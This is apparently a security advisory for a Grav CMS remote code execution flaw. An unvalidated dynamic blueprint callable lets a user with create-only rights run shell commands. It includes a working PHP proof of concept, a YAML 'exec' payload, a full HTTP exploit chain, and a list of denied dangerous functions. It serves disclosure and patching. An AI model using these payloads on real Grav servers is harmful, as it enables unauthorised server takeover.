Skip to content

GHSA-c4wf-2xxc-68qm CVE-2026-65608

Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

High Packagist
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
1.12%
Chance of exploitation in the next 30 days. Higher than 66.07% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Fix
2.0.9
Upgrade getgrav/grav to this version or later

Description

Summary

A missing validation check in Grav's Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with create or update rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a data-*@: directive, since the code that resolves those directives calls call_user_func_array() on attacker-influenced input with no restriction at all.

This is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to Blueprint::dynamicData(), but Grav's Flex system routes the same directive through a separate, unprotected method, FlexDirectory::dynamicDataField(), which never received the same fix.

Details

Grav blueprints support action-property@: directives, YAML keys that tell the blueprint engine to compute a field's value dynamically by calling a function. Blueprint::init() (system/src/Grav/Common/Data/Blueprint.php:167-177) resolves these by checking for a registered handler first, and only falling back to the built-in dynamic{Action} method if none is registered:

foreach ($data as $property => $call) {
    $action = $call['action'];
    $method = 'dynamic' . ucfirst((string) $action);
    $call['object'] = $this->object;

    if (isset($this->handlers[$action])) {
        $callable = $this->handlers[$action];
        $callable($current, $property, $call);
    } elseif (method_exists($this, $method)) {
        $this->{$method}($current, $property, $call);
    }
}

FlexDirectory::getBlueprint() (system/src/Grav/Framework/Flex/FlexDirectory.php:878-880) registers exactly such a handler for the data action, for every Flex directory:

$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) {
    $this->dynamicDataField($field, $property, $call);
});

Because a handler is registered, Blueprint::init() never falls through to the patched Blueprint::dynamicData(). It calls FlexDirectory::dynamicDataField() instead (system/src/Grav/Framework/Flex/FlexDirectory.php:906-928):

protected function dynamicDataField(array &$field, $property, array $call)
{
    $params = $call['params'];
    if (is_array($params)) {
        $function = array_shift($params);
    } else {
        $function = $params;
        $params = [];
    }

    $object = $call['object'];
    if ($function === '\Grav\Common\Page\Pages::pageTypes') {
        $params = [$object instanceof PageInterface && $object->isModule() ? 'modular' : 'standard'];
    }

    $data = null;
    if (is_callable($function)) {
        $data = call_user_func_array($function, $params);
    }
    // ...
}

is_callable() only checks that $function resolves to something callable. It does not check whether calling it is safe. 'exec', 'system', 'passthru', and 'shell_exec' are all valid PHP callables, so this passes them through without complaint.

Compare this to the patched Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426-448), which calls $this->isSafeDynamicCall($function, $params) before doing anything. That method denies known command-execution functions (exec, system, passthru, shell_exec, popen, proc_open, pcntl_exec), known code-execution functions (assert, preg_replace, create_function, include, require), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through Utils::arrayFilterRecursive. None of that logic exists in dynamicDataField().

Version tested: current master, commit fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969. git describe reports this as 2.0.8-2-gfae9e1bf2, two commits past the 2.0.8 tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (ParsedownGravTrait.php, unrelated). Neither touches Blueprint.php, FlexDirectory.php, or Utils.php. git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.

PoC

Part 1, code level. This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with composer install run. It calls the real, unmodified FlexDirectory::dynamicDataField() directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.

<?php
require 'vendor/autoload.php';

use Grav\Common\Data\Blueprint;
use Grav\Framework\Flex\FlexDirectory;

$proofFile = '/tmp/grav_rce_proof.txt';

// Mimics a Flex directory blueprint YAML file containing a data-test@: directive,
// the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData().
// No trampoline gadget needed here. dynamicDataField() performs zero validation
// on $function.
$items = [
    'fields' => [
        'myfield' => [
            'type' => 'text',
            'data-test@' => ['exec', "id > $proofFile 2>&1"],
        ],
    ],
];

$blueprint = new Blueprint(null, $items);
$blueprint->embed('', $items); // triggers deepInit(), populates $blueprint->dynamic

// Register the real, unmodified FlexDirectory::dynamicDataField as the 'data'
// handler. This is exactly what FlexDirectory::getBlueprint() does for every
// Flex directory in production.
$refClass = new ReflectionClass(FlexDirectory::class);
$flexDirectoryInstance = $refClass->newInstanceWithoutConstructor();
$method = $refClass->getMethod('dynamicDataField');
$method->setAccessible(true);

$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) {
    $method->invoke($flexDirectoryInstance, $field, $property, $call);
});

$blueprint->init();

echo file_exists($proofFile) ? file_get_contents($proofFile) : "not vulnerable\n";

Output:

uid=1000(d) gid=1000(d) groups=1000(d),4(adm),...

Part 2, full HTTP chain against the real admin panel. Configuration used:

  • Base checkout: same commit as above.
  • bin/gpm install admin flex-objects -y, which pulls in form, login, email, shortcode-core, api as dependencies.
  • php -S localhost:8000 system/router.php.

Step 1. flex-objects ships a self-contained sample custom directory at blueprints/flex-objects/contacts.yaml, with its own admin.contacts/api.contacts permission set. Added one field to its form.fields:

    pocfield:
      type: text
      label: PoC Field
      data-test@:
        - exec
        - "id > /tmp/grav_http_rce_proof.txt 2>&1"

Step 2. Registered contacts as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (user/config/plugins/flex-objects.yaml):

directories:
  - 'blueprints://flex-objects/pages.yaml'
  - 'blueprints://flex-objects/user-accounts.yaml'
  - 'blueprints://flex-objects/user-groups.yaml'
  - 'blueprints://flex-objects/contacts.yaml'

Step 3. Confirmed a full super-admin account can trigger it, as a baseline. POST /api/v1/flex-objects/contacts (the ordinary "create a new contact" endpoint) with a super-admin JWT:

HTTP 201 Created

/tmp/grav_http_rce_proof.txt contained the id command's output. This confirms the chain fires through the real API: FlexApiController::create() calls FlexDirectory::createObject()/save(), which calls blueprint init(), which calls dynamicDataField(), which calls call_user_func_array('exec', [...]). The read-only blueprint-serving endpoint, GET /blueprints/flex-objects/{type}, does not trigger this; only the create/update processing path calls init().

Step 4. Created a second account with nothing granted except:

access:
  admin:
    login: true
  api:
    access: true
    contacts:
      create: true

No admin.super, no api.super, no permission on anything except creating records in this one directory. That is exactly the permission contacts.yaml's own blueprint declares for this action (admin.permissions.api.contacts: {type: crudpl} maps to api.contacts.create). The token response confirmed the account had nothing else: "super_admin": false, with only api.access and api.contacts.create set to true.

That account sent the same POST /api/v1/flex-objects/contacts request, an ordinary "create a contact" call indistinguishable from legitimate use:

HTTP 201 Created

/tmp/grav_http_rce_proof.txt was overwritten with fresh id output.

This was reproduced a second time on a completely separate, freshly cloned checkout (independent composer install, independent bin/gpm install, new accounts) to rule out any dependency on leftover state from the first run. Same result both times.

Impact

Threat model. The attacker needs an authenticated account with create or update permission on a single Flex directory, nothing more. The PoC account held exactly one permission, api.contacts.create, scoped to one custom directory, with super_admin: false and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor's own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server.

Any Grav 2.0 install running the flex-objects plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a data-*@: directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in flex-objects or admin UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role.

Suggested fix: route FlexDirectory::dynamicDataField() through the same isSafeDynamicCall()/Utils::isDangerousFunction() checks Blueprint::dynamicData() already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other addDynamicHandler() registration in the codebase has the same gap.

Affected versions

Packagist

PackageVulnerableFixed in
getgrav/grav
>= 1.7.0, < 2.0.9
2.0.9

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

getgrav/grav Packagist → 2.0.9

composer
composer require getgrav/grav:^2.0.9

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

How to prevent it
  • Architecture and Design: Refactor your code to avoid using reflection.
  • Architecture and Design: Do not use user-controlled inputs to select and load classes or code.
  • Implementation: Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xjw5-q542-3vmr
Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled
High Also affects getgrav/grav
GHSA-3jhr-mxmx-38cx
Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Medium Also affects getgrav/grav
GHSA-9ccq-2jfg-qw33
Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match
Critical Also affects getgrav/grav
GHSA-38p6-h87p-r4cg
Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection
Medium Also affects getgrav/grav
GHSA-p597-crqc-m349
Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths
Medium Also affects getgrav/grav
GHSA-47ch-6w46-6xm7
Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content
Medium Also affects getgrav/grav
GHSA-jq29-c7v8-rg55
Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
High Also affects getgrav/grav
GHSA-8hgv-xc77-jmcr
Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin
Medium Also affects getgrav/grav
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor